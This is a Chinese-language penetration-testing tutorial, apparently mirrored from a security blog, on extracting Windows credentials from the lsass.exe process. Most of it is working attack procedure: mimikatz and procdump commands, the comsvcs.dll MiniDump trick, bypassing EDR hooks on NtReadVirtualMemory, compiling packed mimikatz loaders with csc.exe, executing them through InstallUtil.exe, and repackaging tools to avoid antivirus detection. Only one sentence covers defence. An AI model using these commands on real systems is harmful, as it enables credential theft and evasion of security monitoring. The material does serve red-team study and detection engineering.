10

渗透基础——从lsass.exe进程导出凭据

 3 years ago
source link: https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E4%BB%8Elsass.exe%E8%BF%9B%E7%A8%8B%E5%AF%BC%E5%87%BA%E5%87%AD%E6%8D%AE/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

0x00 前言


本文将要结合自己的经验,介绍不同环境下从lsass.exe进程导出凭据的方法,结合利用思路,给出防御建议

0x01 简介


本文将要介绍以下内容:

  • 从lsass.exe进程导出凭据的常用方法
  • 限制上传文件长度时导出凭据的方法
  • 限制下载文件长度时导出凭据的方法

0x02 从lsass.exe进程导出凭据的常用方法


1.使用mimikatz直接导出凭据

直接从lsass.exe进程的内存中导出凭据,命令如下:

mimikatz.exe log "privilege::debug" "sekurlsa::logonPasswords full" exit

通常这种方式会被安全产品拦截

2.通过lsass.exe进程的dmp文件导出凭据

(1)获得lsass.exe进程的dmp文件

  1. procdump

命令如下:

procdump64.exe -accepteula -ma lsass.exe lsass.dmp
  1. c++实现

https://github.com/killswitch-GUI/minidump-lib

  1. powershell实现

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1

https://github.com/GhostPack/SharpDump

  1. 使用comsvcs.dll

示例参数如下:

rundll32 C:\windows\system32\comsvcs.dll, MiniDump 808 C:\test\lsass.dmp full

注:

使用comsvcs.dll的方法可参考之前的分析文章《MiniDumpWriteDump via COM+ Services DLL》的利用测试

以上方法在原理上都是通过API MiniDumpWriteDump()获得进程的dmp文件

而某些安全产品已经开始拦截这种行为,拦截的方法如下:

通过用户模式下的API hook,使用跳转(JMP)命令将NtReadVirtualMemory()的前5个字节修改为指向另一个内存地址

绕过思路:

使用正确的命令覆盖被修改的前5个字节或是重写一个NtReadVirtualMemory()

参考资料:

https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6

开源工具:

https://github.com/outflanknl/Dumpert

如果这种方法仍然失败,可以尝试使用RPC控制lsass加载SSP的方式向lsass.exe进程注入dll,由dll来实现dump的功能

使用RPC控制lsass加载SSP可参考XPN开源的代码:

https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e

对此的分析文章《Mimikatz中SSP的使用》

由dll来实现dump的功能可参考以下代码:

https://github.com/outflanknl/Dumpert/blob/master/Dumpert-DLL/Outflank-Dumpert-DLL/Dumpert.c

(2)从dmp文件导出凭据

成功获得了lsass.exe进程的dmp文件后,可以借助mimikatz导出凭据,命令如下:

mimikatz.exe log "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

0x03 限制上传文件长度时导出凭据的方法


如果实际的测试环境对上传文件的长度做了限制,这里给出我的解决方法:上传.cs文件,借助测试环境默认安装的.Net环境,使用csc.exe进行编译

为了应对不同的测试环境,使用的代码应该支持.Net 3.5以及更高版本

1.使用c#实现的mimikatz直接导出凭据

Casey Smith已经实现了在c#文件中加载mimikatz,目前可供参考的代码地址:

https://github.com/re4lity/subTee-gits-backups/blob/master/PELoader.cs

需要注意的是这个代码封装的mimikatz版本为mimikatz 2.0 alpha (x64) release "Kiwi en C" (Aug 17 2015 00:14:48)

这个版本在执行命令sekurlsa::logonpasswords时导出的结果不全,默认无法导出hash

于是我在此基础上将mimikatz替换到新版本:mimikatz 2.1.1 (x64) built on Sep 25 2018 15:08:14

替换的方法是先将新版的mimikatz.exe进行Gzip压缩,再转换成base64编码,最后修改字符串KatzCompressed中的内容

生成新字符串KatzCompressed内容的c#代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/GzipandBase64.cs

可以通过csc.exe对其进行编译,支持.Net 3.5以及更高版本

代码执行后将生成的文件base64.txt中的内容替换字符串KatzCompressed

原来版本的PELoader.cs因为使用了.Add()导致不支持.Net3.5,可以对此进行替换使其支持.Net3.5

最终经过修改的PELoader.cs(升级mimikatz,支持.Net3.5)我也上传到了github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/PELoaderofMimikatz.cs

可以通过csc.exe对其进行编译,支持.Net 3.5以及更高版本

编译命令:

C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe PELoaderofMimikatz.cs /unsafe

or

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe PELoaderofMimikatz.cs /unsafe

导出凭据的命令:

PELoaderofMimikatz.exe log "privilege::debug" "sekurlsa::logonPasswords full" exit

注:

需要经过简单的修改,在程序中提前传入要执行的命令,可以使用InstallUtil.exe导出凭据,命令如下:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoaderofMimikatzAuto.exe

通过这种方法,可以将.cs文件上传至目标测试环境,然后使用目标测试环境自带的.Net进行编译

2.使用c#实现的代码获得lsass.exe进程的dmp文件

类似的开源代码有很多,我在SafetyKatz的基础上做了简单的修改

修改后的代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/DumpLsass.cs

可以通过csc.exe对其进行编译,支持.Net 3.5以及更高版本

代码执行后在当前路径生成lsass.exe进程的dmp文件

获得了dmp文件后可以将其下载到本地再使用mimikatz导出凭据

0x04 限制下载文件长度时导出凭据的方法


如果实际的测试环境对下载文件的长度做了限制(有时lsass.exe进程的dmp文件压缩后也有上百MB)

这里最简单的解决方法是对mimikatz做二次封装(删除不必要的功能,避免被查杀),在目标测试环境上从lsass.exe进程的dmp文件中导出凭据

这里可以参考SafetyKatz,地址如下:

https://github.com/GhostPack/SafetyKatz

SafetyKatz对mimikatz进行了二次修改并封装到字符串中,参照了Casey Smith在c#文件中加载mimikatz的方法,实现以下功能:

  1. 获得lsass.exe进程的dmp文件并保存到temp目录
  2. 从dmp文件导出凭据
  3. 删除dmp文件

我们可以在SafetyKatz的源码中加入以下代码把封装好的exe进行还原

FileStream fs = new FileStream(@"C:\test\1.exe", FileMode.Create);
fs.Write(unpacked, 0, unpacked.Length);
fs.Flush();
fs.Close();

可以看到封装的exe是修改过的mimikatz,默认会执行一些命令,如下图

Alt text

我对SafetyKatz的代码做了简单的调整,使其支持.Net 3.5以及更高版本

修改后的代码已上传至github,地址如下:

https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SafetyKatz.cs

编译命令:

C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe SafetyKatz.cs /unsafe

or

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe SafetyKatz.cs /unsafe

0x05 防御检测


利用的前提是攻击者已获得了系统的管理员权限,获得lsass.exe进程的dmp文件最终会调用NtReadVirtualMemory(),可以尝试对此进行监控

0x06 小结


本文介绍了不同环境下从lsass.exe进程导出凭据的方法,结合利用思路,给出防御建议


LEAVE A REPLY


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK